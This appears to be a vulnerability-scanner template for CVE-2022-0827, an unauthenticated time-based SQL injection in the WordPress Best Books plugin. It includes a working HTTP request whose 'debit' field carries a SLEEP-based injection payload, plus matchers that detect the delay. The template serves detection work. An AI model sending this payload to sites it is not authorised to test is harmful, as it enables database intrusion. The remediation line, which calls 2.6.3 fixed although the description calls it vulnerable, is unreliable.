WordPress Best Books <=2.6.3 - SQL Injection

ID: CVE-2022-0827

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage

Description

WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-0827

info:
  name: WordPress Best Books <=2.6.3 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Best Books plugin through 2.6.3 is susceptible to SQL injection. The plugin does not sanitize and escape some parameters before using them in a SQL statement via an AJAX action. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to WordPress Best Books plugin version 2.6.3 or later to fix the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/0d208ebc-7805-457b-aa5f-ffd5adb2f3be
    - https://wordpress.org/plugins/bestbooks/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0827
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0827
    cwe-id: CWE-89
    epss-score: 0.04043
    epss-percentile: 0.92087
    cpe: cpe:2.3:a:presspage:bestbooks:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: presspage
    product: bestbooks
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,bestbooks,unauthenticated,presspage

http:
  - raw:
      - |
        @timeout 10s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bestbooks_add_transaction&type=x&account=x&date=x&description=1&debit=(CASE WHEN (9277=9277) THEN SLEEP(6) ELSE 9277 END)&credit=1

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(body, "Account added successfully")'
        condition: and
# digest: 4a0a00473045022100b858b87a66df96402e8c03c674f1c47b09e18be717eab82f41846ece5dcf5ca7022077781bfde3ad23b662ea496939ac3e4d466e8be9edbfc23942833ff08a8bbebf:922c64590222798bb761d5b6d8e72950

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